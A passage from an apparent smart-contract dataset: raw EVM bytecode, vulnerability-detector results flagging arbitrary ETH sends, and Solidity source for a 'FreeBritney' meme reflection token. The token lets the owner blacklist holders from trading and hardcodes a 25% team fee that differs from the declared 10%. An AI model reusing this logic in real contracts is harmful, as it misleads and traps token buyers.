} | 0x6080604052600436106101a05763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146101ab578063095ea7b31461023557806312065fe01461026d578063167ff46f1461029457806318160ddd146102a95780631f68f20a146102be57806323b872dd146102d357806328dc8860146102fd578063313ce5671461031257806340e407651461033d57806342966c68146103555780634311483d1461036d57806343d726d6146103af578063485d7d94146103c457806370a08231146103e557806379c650681461040657806379cc67901461042a57806384fd54771461044e5780638da5cb5b1461046f5780638dd6ce79146104a057806395d89b41146104b8578063a9059cbb146104cd578063b414d4b6146104f1578063b918161114610512578063bf01478914610533578063cae9ca511461054b578063ce557031146105b4578063cf1c316a146105c8578063dd62ed3e146105e9578063e522538114610610578063e55a07c214610625578063e724529c1461063a578063f2fde38b14610660575b6101a933610681565b005b3480156101b757600080fd5b506101c061070d565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101fa5781810151838201526020016101e2565b50505050905090810190601f1680156102275780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561024157600080fd5b50610259600160a060020a036004351660243561079b565b604080519115158252519081900360200190f35b34801561027957600080fd5b50610282610801565b60408051918252519081900360200190f35b3480156102a057600080fd5b506101a961086d565b3480156102b557600080fd5b506102826108e4565b3480156102ca57600080fd5b506102826108ea565b3480156102df57600080fd5b50610259600160a060020a03600435811690602435166044356108f0565b34801561030957600080fd5b5061028261095f565b34801561031e57600080fd5b50610327610965565b6040805160ff9092168252519081900360200190f35b34801561034957600080fd5b506101a960043561096e565b34801561036157600080fd5b506102596004356109dc565b34801561037957600080fd5b5061038e600160a060020a0360043516610a55565b60408051928352600160a060020a0390911660208301528051918290030190f35b3480156103bb57600080fd5b506101a9610a77565b3480156103d057600080fd5b506101a9600160a060020a0360043516610b88565b3480156103f157600080fd5b50610282600160a060020a0360043516610beb565b34801561041257600080fd5b506101a9600160a060020a0360043516602435610bfd565b34801561043657600080fd5b50610259600160a060020a0360043516602435610d50565b34801561045a57600080fd5b50610259600160a060020a0360043516610e21565b34801561047b57600080fd5b50610484610e95565b60408051600160a060020a039092168252519081900360200190f35b3480156104ac57600080fd5b506101a9600435610ea4565b3480156104c457600080fd5b506101c0610f0e565b3480156104d957600080fd5b50610259600160a060020a0360043516602435610f69565b3480156104fd57600080fd5b50610259600160a060020a0360043516610f7f565b34801561051e57600080fd5b50610259600160a060020a0360043516610f94565b34801561053f57600080fd5b50610484600435610fa9565b34801561055757600080fd5b50604080516020600460443581810135601f8101849004840285018401909552848452610259948235600160a060020a0316946024803595369594606494920191908190840183828082843750949750610fd19650505050505050565b6101a9600160a060020a0360043516610681565b3480156105d457600080fd5b506101a9600160a060020a03600435166110ea565b3480156105f557600080fd5b50610282600160a060020a03600435811690602435166111b7565b34801561061c57600080fd5b506101a96111d4565b34801561063157600080fd5b506102596112a5565b34801561064657600080fd5b506101a9600160a060020a036004351660243515156112ae565b34801561066c57600080fd5b506101a9600160a060020a03600435166113d2565b6000600a546007541080156106995750600c5460ff16155b15156106a457600080fd5b662386f26fc100003410156106b857600080fd5b6106c134611418565b90506106cd828261144e565b60008054604051600160a060020a0390911691303180156108fc02929091818181858888f19350505050158015610708573d6000803e3d6000fd5b505050565b6004805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156107935780601f1061076857610100808354040283529160200191610793565b820191906000526020600020905b81548152906001019060200180831161077657829003601f168201915b505050505081565b336000818152600960209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60035460009081101561084f573360009081526001602081905260409091205460ff161515148061083c5750600054600160a060020a031633145b151561084757600080fd5b50303161086a565b600054600160a060020a0316331461086657600080fd5b5030315b90565b600354600010156108c0573360009081526001602081905260409091205460ff16151514806108a65750600054600160a060020a031633145b15156108b157600080fd5b600c805460ff191690556108e2565b600054600160a060020a031633146108d757600080fd5b600c805460ff191690555b565b60075481565b600b5481565b600160a060020a038316600090815260096020908152604080832033845290915281205482111561092057600080fd5b600160a060020a0384166000908152600960209081526040808320338452909152902080548390039055610955848484611463565b5060019392505050565b600a5481565b60065460ff1681565b600354600010156109bc573360009081526001602081905260409091205460ff16151514806109a75750600054600160a060020a031633145b15156109b257600080fd5b600a8190556109d9565b600054600160a060020a031633146109d357600080fd5b600a8190555b50565b336000908152600860205260408120548211156109f857600080fd5b3360008181526008602090815260409182902080548690039055600780548690039055815185815291517fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca59281900390910190a25060015b919050565b60026020526000908152604090208054600190910154600160a060020a031682565b60035460001015610b19573360009081526001602081905260409091205460ff1615151480610ab05750600054600160a060020a031633145b1515610abb57600080fd5b600c5460ff1615610acb57600080fd5b600c805460ff1916600117905560008054604051600160a060020a0390911691303180156108fc02929091818181858888f19350505050158015610b13573d6000803e3d6000fd5b506108e2565b600054600160a060020a03163314610b3057600080fd5b600c5460ff1615610b4057600080fd5b600c805460ff1916600117905560008054604051600160a060020a0390911691303180156108fc02929091818181858888f193505050501580156109d9573d6000803e3d6000fd5b600054600160a060020a03163314610b9f57600080fd5b600160a060020a0381161515610bb457600080fd5b600160a060020a038116331415610bca57600080fd5b600160a060020a03166000908152600160205260409020805460ff19169055565b60086020526000908152604090205481565b60035460001015610cbd573360009081526001602081905260409091205460ff1615151480610c365750600054600160a060020a031633145b1515610c4157600080fd5b600160a060020a0382166000908152600860209081526040808320805485019055600780548501905580518481529051309392600080516020611599833981519152928290030190a3604080518281529051600160a060020a0384169130916000805160206115998339815191529181900360200190a3610d4c565b600054600160a060020a03163314610cd457600080fd5b600160a060020a0382166000908152600860209081526040808320805485019055600780548501905580518481529051309392600080516020611599833981519152928290030190a3604080518281529051600160a060020a0384169130916000805160206115998339815191529181900360200190a35b5050565b600160a060020a038216600090815260086020526040812054821115610d7557600080fd5b600160a060020a0383166000908152600960209081526040808320338452909152902054821115610da557600080fd5b600160a060020a0383166000818152600860209081526040808320805487900390556009825280832033845282529182902080548690039055600780548690039055815185815291517fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca59281900390910190a250600192915050565b60008054600160a060020a0383811691161415610e4057506001610a50565b6003541515610e5157506000610a50565b600160a060020a038216600081815260026020526040902054600380549091908110610e7957fe5b600091825260209091200154600160a060020a03161492915050565b600054600160a060020a031681565b60035460001015610ef2573360009081526001602081905260409091205460ff1615151480610edd5750600054600160a060020a031633145b1515610ee857600080fd5b600b8190556109d9565b600054600160a060020a03163314610f0957600080fd5b600b55565b6005805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156107935780601f1061076857610100808354040283529160200191610793565b6000610f76338484611463565b50600192915050565b600d6020526000908152604090205460ff1681565b60016020526000908152604090205460ff1681565b6003805482908110610fb757fe5b600091825260209091200154600160a060020a0316905081565b600083610fde818561079b565b156110e2576040517f8f4ffcb10000000000000000000000000000000000000000000000000000000081523360048201818152602483018790523060448401819052608060648501908152875160848601528751600160a060020a03871695638f4ffcb195948b94938b939192909160a490910190602085019080838360005b8381101561107657818101518382015260200161105e565b50505050905090810190601f1680156110a35780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1580156110c557600080fd5b505af11580156110d9573d6000803e3d6000fd5b50505050600191505b509392505050565b60008054600160a060020a0316331461110257600080fd5b600160a060020a038216151561111757600080fd5b61112082610e21565b1561112a57600080fd5b50600160a060020a03166000818152600160208181526040808420805460ff19168417905560029091528220808201805473ffffffffffffffffffffffffffffffffffffffff1990811686179091556003805493840181559093527fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85b820180549093169093179091559055565b600960209081526000928352604080842090915290825290205481565b60035460001015611253573360009081526001602081905260409091205460ff161515148061120d5750600054600160a060020a031633145b151561121857600080fd5b60008054604051600160a060020a0390911691303180156108fc02929091818181858888f19350505050158015610b13573d6000803e3d6000fd5b600054600160a060020a0316331461126a57600080fd5b60008054604051600160a060020a0390911691303180156108fc02929091818181858888f193505050501580156109d9573d6000803e3d6000fd5b600c5460ff1681565b60035460001015611357573360009081526001602081905260409091205460ff16151514806112e75750600054600160a060020a031633145b15156112f257600080fd5b600160a060020a0382166000818152600d6020908152604091829020805460ff191685151590811790915582519384529083015280517f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a59281900390910190a1610d4c565b600054600160a060020a0316331461136e57600080fd5b600160a060020a0382166000818152600d6020908152604091829020805460ff191685151590811790915582519384529083015280517f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a59281900390910190a15050565b600054600160a060020a031633146113e957600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600654600b54600091829160ff909116600a0a9061143d90859063ffffffff61156a16565b81151561144657fe5b049392505050565b600160a060020a0382161515610cd457600080fd5b600160a060020a038216151561147857600080fd5b600160a060020a03831660009081526008602052604090205481111561149d57600080fd5b600160a060020a03821660009081526008602052604090205481810110156114c457600080fd5b600160a060020a0383166000908152600d602052604090205460ff16156114ea57600080fd5b600160a060020a0382166000908152600d602052604090205460ff161561151057600080fd5b600160a060020a0380841660008181526008602090815260408083208054879003905593861680835291849020805486019055835185815293519193600080516020611599833981519152929081900390910190a3505050565b6000828202831580611586575082848281151561158357fe5b04145b151561159157600080fd5b93925050505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a7230582077fc816f795b8e0ec8908b279d06e31dee5ce8721ba7412cd2827c19b769551c0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}} | 1,901 |
0xdd95bd79fd84374edcd63af577aa2a2a206e1947 | /*
👸🏼BRITNEY👸🏼
Free Britney
For nearly half of Britney Spears's decades-long career as a world-renowned pop star, the "Womanizer" singer hasn't held full control of her life.
Britney has been under a conservatorship helmed by her father, Jamie Spears, since the singer's infamous breakdown 12 years ago, which resulted in hospitalization and rehab. Though the stigma surrounding Spears's mental health battles has followed the singer since 2007, her career never faltered.
👑👸🏼 BRITNEY 👸🏼👑
Free Britney token was created in order to support Britney’s legal battle to separate herself from this conservatorship and allow her to regain control over her life.
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract FreeBritney is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "FreeBritney";
string private constant _symbol = "fBritney";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1) {
_teamAddress = addr1;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 1000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, 25);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612e4f565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612972565b61045e565b6040516101789190612e34565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612ff1565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612923565b61048d565b6040516101e09190612e34565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612895565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190613066565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129ef565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612895565b610783565b6040516102b19190612ff1565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612d66565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612e4f565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612972565b61098d565b60405161035b9190612e34565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906129ae565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612a41565b6110d2565b005b3480156103f057600080fd5b5061040b600480360381019061040691906128e7565b61121b565b6040516104189190612ff1565b60405180910390f35b60606040518060400160405280600b81526020017f46726565427269746e6579000000000000000000000000000000000000000000815250905090565b600061047261046b6112a2565b84846112aa565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611475565b61055b846104a66112a2565b6105568560405180606001604052806028815260200161372a60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c349092919063ffffffff16565b6112aa565b600190509392505050565b61056e6112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612f31565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612f31565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a2565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c98565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d04565b9050919050565b6107dc6112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612f31565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f66427269746e6579000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a2565b8484611475565b6001905092915050565b6109b36112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612f31565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613307565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a2565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611d72565b50565b610b7d6112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612f31565b60405180910390fd5b600e60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190612fb1565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112aa565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6891906128be565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e0291906128be565b6040518363ffffffff1660e01b8152600401610e1f929190612d81565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e7191906128be565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612dd3565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612a6a565b5050506001600e60166101000a81548160ff0219169083151502179055506000600e60176101000a81548160ff021916908315150217905550683635c9adc5dea00000600f819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107c929190612daa565b602060405180830381600087803b15801561109657600080fd5b505af11580156110aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110ce9190612a18565b5050565b6110da6112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611167576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115e90612f31565b60405180910390fd5b600081116111aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a190612ef1565b60405180910390fd5b6111d960646111cb83683635c9adc5dea0000061206c90919063ffffffff16565b6120e790919063ffffffff16565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf600f546040516112109190612ff1565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b6